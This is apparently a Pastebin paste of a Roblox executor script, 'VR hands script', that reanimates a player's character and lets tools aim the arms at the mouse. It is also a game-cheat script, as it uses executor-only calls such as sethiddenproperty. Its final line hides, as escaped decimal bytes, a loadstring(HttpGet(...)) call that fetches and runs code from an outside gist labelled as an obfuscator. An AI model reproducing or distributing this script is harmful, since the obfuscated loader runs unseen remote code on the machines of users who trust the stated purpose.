Advertisement
30IRISKA10

VR hands script

Apr 26th, 2022
2,979
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.01 KB | None | 0 0
  1. VR hands script
  2.  
  3. local plr = game.Players.LocalPlayer
  4. local char = game.Players.LocalPlayer.Character
  5. local srv = game:GetService('RunService')
  6. local ct = {}
  7. local te = table.insert
  8.  
  9. char.Archivable=true
  10. local reanim = char:Clone()
  11. local fl = Instance.new('Folder',char) fl.Name = 'VEE AHR'
  12.  
  13. for i,v in next, reanim:GetDescendants() do
  14. if v:IsA('BasePart') or v:IsA('Decal') then
  15. v.Transparency=1
  16. end
  17. end
  18.  
  19. for i,v in next, char:GetDescendants() do
  20. if v:IsA('BasePart') then
  21. te(ct,srv.Heartbeat:Connect(function()
  22. v.Velocity = Vector3.new(0,-30,0)
  23. sethiddenproperty(game.Players.LocalPlayer,"MaximumSimulationRadius",10000)
  24. sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",10000)
  25. end))
  26. end
  27. end
  28.  
  29. for i,v in next, char.Humanoid:GetPlayingAnimationTracks() do
  30. v:Stop()
  31. end
  32. char.Animate:Remove()
  33.  
  34. char.HumanoidRootPart:Destroy()
  35. char.Humanoid:ChangeState(16)
  36.  
  37. hats=0
  38. function create(part, parent, p, r)
  39. hats=hats+1
  40. Instance.new("Attachment",part)
  41. Instance.new("AlignPosition",part)
  42. Instance.new("AlignOrientation",part)
  43. Instance.new("Attachment",parent)
  44. part.Attachment.Name = part.Name..hats
  45. parent.Attachment.Name = part.Name..hats
  46. part.AlignPosition.Attachment0 = part[part.Name..hats]
  47. part.AlignOrientation.Attachment0 = part[part.Name..hats]
  48. part.AlignPosition.Attachment1 = parent[part.Name..hats]
  49. part.AlignOrientation.Attachment1 = parent[part.Name..hats]
  50. parent[part.Name..hats].Position = p or Vector3.new()
  51. part[part.Name..hats].Orientation = r or Vector3.new()
  52. part.AlignPosition.MaxForce = 999999999
  53. part.AlignPosition.MaxVelocity = 99999999
  54. part.AlignPosition.ReactionForceEnabled = false
  55. part.AlignPosition.Responsiveness = 99999999
  56. part.AlignOrientation.Responsiveness = 99999999
  57. part.AlignPosition.RigidityEnabled = false
  58. part.AlignOrientation.MaxTorque = 999999
  59. end
  60.  
  61. for i,v in next, char:GetDescendants() do
  62. if v:IsA('Motor6D') and v.Name ~= 'Neck' then
  63. v:Destroy()
  64. end
  65. end
  66.  
  67. for i,v in next, char:GetDescendants() do
  68. if v:IsA('BasePart') and v.Name ~= 'Head' and v.Name ~= 'Torso' and v.Name ~= 'Right Arm' and v.Name ~= 'Left Arm' and v.Parent==char then
  69. create(v,reanim[v.Name])
  70. end
  71. end
  72.  
  73. create(char.Torso,reanim.Torso,Vector3.new(0,0,0),Vector3.new(0,0,0))
  74.  
  75. char.Head.Anchored = true
  76.  
  77. for i,v in next, char:GetDescendants() do
  78. if v:IsA('Accessory') then
  79. v.Handle:BreakJoints()
  80. v.Handle.Transparency = 0
  81. create(v.Handle,reanim[v.Name].Handle)
  82. wait()
  83. te(ct,srv.RenderStepped:Connect(function()
  84. v.Handle.CFrame=reanim[v.Name].Handle.CFrame
  85. end))
  86. te(ct,srv.Heartbeat:Connect(function()
  87. v.Handle.CFrame=reanim[v.Name].Handle.CFrame
  88. end))
  89. end
  90. end
  91.  
  92. function noc()
  93. for i,v in next, reanim:GetDescendants() do
  94. if v:IsA('MeshPart') or v:IsA('BasePart') then
  95. table.insert(ct,srv.Stepped:Connect(function()
  96. v.CanCollide = false
  97. end))
  98. end
  99. end
  100. for i,v in next, char:GetDescendants() do
  101. if v:IsA('MeshPart') or v:IsA('BasePart') then
  102. table.insert(ct,srv.Stepped:Connect(function()
  103. if not v.Name == "Right Arm" or "Left Arm" then
  104. v.CanCollide = false
  105. end
  106. end))
  107. end
  108. end
  109. for i,v in next, reanim:GetDescendants() do
  110. if v:IsA('MeshPart') or v:IsA('BasePart') then
  111. table.insert(ct,srv.RenderStepped:Connect(function()
  112. v.CanCollide = false
  113. end))
  114. end
  115. end
  116. for i,v in next, char:GetDescendants() do
  117. if v:IsA('MeshPart') or v:IsA('BasePart') then
  118. table.insert(ct,srv.RenderStepped:Connect(function()
  119. v.CanCollide = false
  120. end))
  121. end
  122. end
  123. end
  124.  
  125. char['Left Leg']:Remove()
  126. char['Right Leg']:Remove()
  127.  
  128. noc()
  129.  
  130. reanim.Animate.Disabled=true
  131.  
  132. reanim.Parent=fl
  133.  
  134. plr.Character=reanim
  135. workspace.Camera.CameraSubject=reanim
  136.  
  137. RA=char['Right Arm']
  138. LA=char['Left Arm']
  139. FRA=Instance.new('Part',reanim)
  140. FRA.Transparency=1
  141. FRA.Size=Vector3.new(1,1,2)
  142. FLA=Instance.new('Part',reanim)
  143. FLA.Transparency=1
  144. FLA.Size=Vector3.new(1,1,2)
  145. FHD=Instance.new('Part',reanim)
  146. FHD.Transparency=1
  147. FHD.Size=Vector3.new(2,1,1)
  148.  
  149. create(FHD,reanim.Torso,Vector3.new(0,1,0))
  150. create(FRA,reanim.Torso,Vector3.new(1.5,0,0))
  151. create(FLA,reanim.Torso,Vector3.new(-1.5,0,0))
  152. create(char['Right Arm'],FRA)
  153. create(char['Left Arm'],FLA)
  154.  
  155. for i,v in next, reanim:GetDescendants() do
  156. if v:IsA('Accessory') then
  157. if v.Handle.AccessoryWeld.Part1.Name == 'Right Arm' then
  158. v.Handle.AccessoryWeld.Part1 = char['Right Arm']
  159. end
  160. if v.Handle.AccessoryWeld.Part1.Name == 'Left Arm' then
  161. v.Handle.AccessoryWeld.Part1 = char['Left Arm']
  162. end
  163. if v.Handle.AccessoryWeld.Part1.Name == 'Head' then
  164. v.Handle.AccessoryWeld.Part1 = FHD
  165. v.Handle.AccessoryWeld.C0=v.Handle.AccessoryWeld.C0*CFrame.new(0,-0.5,0)
  166. end
  167. end
  168. end
  169.  
  170. m=plr:GetMouse()
  171.  
  172. te(ct,srv.Stepped:Connect(function()
  173. m.TargetFilter=char
  174. end))
  175.  
  176. te(ct,srv.RenderStepped:Connect(function()
  177. m.TargetFilter=char
  178. end))
  179.  
  180. --char.Head.Mesh:Destroy()
  181.  
  182. te(ct,srv.RenderStepped:Connect(function()
  183. m.TargetFilter=char
  184. --FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  185. --FRA.CFrame=CFraawme.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  186. --FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  187. char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
  188. char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
  189. end))
  190.  
  191. rm=-2
  192. lm=-2
  193. lg=-2
  194. local leftpoint = false
  195. local rightpoint = false
  196. local headpoint = false
  197. te(ct,srv.Heartbeat:Connect(function()
  198. m.TargetFilter=char
  199. if headpoint ~= false then
  200. FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  201. end
  202. if rightpoint ~= false then
  203. FRA.CFrame=CFrame.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  204. end
  205. if leftpoint ~= false then
  206. FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  207. end
  208. char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
  209. char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
  210. end))
  211.  
  212. te(ct,m.KeyDown:Connect(function(k)
  213. if k == 'g' then
  214. rm=-4
  215. end
  216. if k == 'f' then
  217. lm=-4
  218. end
  219. end))
  220.  
  221. te(ct,m.KeyUp:Connect(function(k)
  222. if k == 'g' then
  223. rm=-2
  224. end
  225. if k == 'f' then
  226. lm=-2
  227. end
  228. end))
  229.  
  230. reanim.Humanoid.Died:Connect(function()
  231. plr.Character=char
  232. char:BreakJoints()
  233. for i,v in next, ct do v:Disconnect() end
  234. hc=char:Clone()
  235. char.Humanoid:Destroy()
  236. hc.Parent=char
  237. game.Players:Chat('-re')
  238. end)
  239. local keepcam = false
  240. local camera = game.Workspace.Camera
  241. local tool2 = Instance.new("Tool")
  242. tool2.RequiresHandle = false
  243. tool2.Parent = plr.Backpack
  244. tool2.Name = "Right Arm"
  245.  
  246. tool2.Equipped:Connect(function()
  247. if keepcam ~= false then
  248. headpoint = false
  249. rightpoint = true
  250. camera.CameraType = Enum.CameraType.Scriptable
  251. else
  252. headpoint = false
  253. rightpoint = true
  254. camera.CameraType = Enum.CameraType.Track
  255. end
  256. end)
  257. local tool = Instance.new("Tool")
  258. tool.RequiresHandle = false
  259. tool.Parent = plr.Backpack
  260. tool.Name = "Left Arm"
  261.  
  262. local tool3 = Instance.new("Tool")
  263. tool3.RequiresHandle = false
  264. tool3.Parent = plr.Backpack
  265. tool3.Name = "Both Arm"
  266.  
  267. tool.Equipped:Connect(function()
  268. if keepcam ~= false then
  269. headpoint = false
  270. leftpoint = true
  271. camera.CameraType = Enum.CameraType.Scriptable
  272. else
  273. headpoint = false
  274. leftpoint = true
  275. camera.CameraType = Enum.CameraType.Track
  276. end
  277. end)
  278. tool3.Equipped:Connect(function()
  279. if keepcam ~= false then
  280. headpoint = false
  281. leftpoint = true
  282. rightpoint = true
  283. camera.CameraType = Enum.CameraType.Scriptable
  284. else
  285. camera.CameraType = Enum.CameraType.Track
  286. headpoint = false
  287. leftpoint = true
  288. rightpoint = true
  289. end
  290. end)
  291. local tool4 = Instance.new("Tool")
  292. tool4.Name = "Keepcamera OFF"
  293. tool4.RequiresHandle = false
  294. tool4.Parent = plr.Backpack
  295. tool.Unequipped:Connect(function()
  296. headpoint = false
  297. leftpoint = false
  298. camera.CameraType = Enum.CameraType.Track
  299. end)
  300.  
  301. tool4.Equipped:Connect(function()
  302. if keepcam ~= true then
  303. keepcam = true
  304. tool4.Name = "Keepcamera ON"
  305. else
  306. keepcam = false
  307. tool4.Name = "Keepcamera OFF"
  308. camera.CameraType = Enum.CameraType.Track
  309. end
  310. end)
  311.  
  312. tool2.Unequipped:Connect(function()
  313. headpoint = false
  314. rightpoint = false
  315. camera.CameraType = Enum.CameraType.Track
  316. end)
  317.  
  318. tool3.Unequipped:Connect(function()
  319. headpoint = false
  320. rightpoint = false
  321. leftpoint = false
  322. camera.CameraType = Enum.CameraType.Track
  323. end)
  324. loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement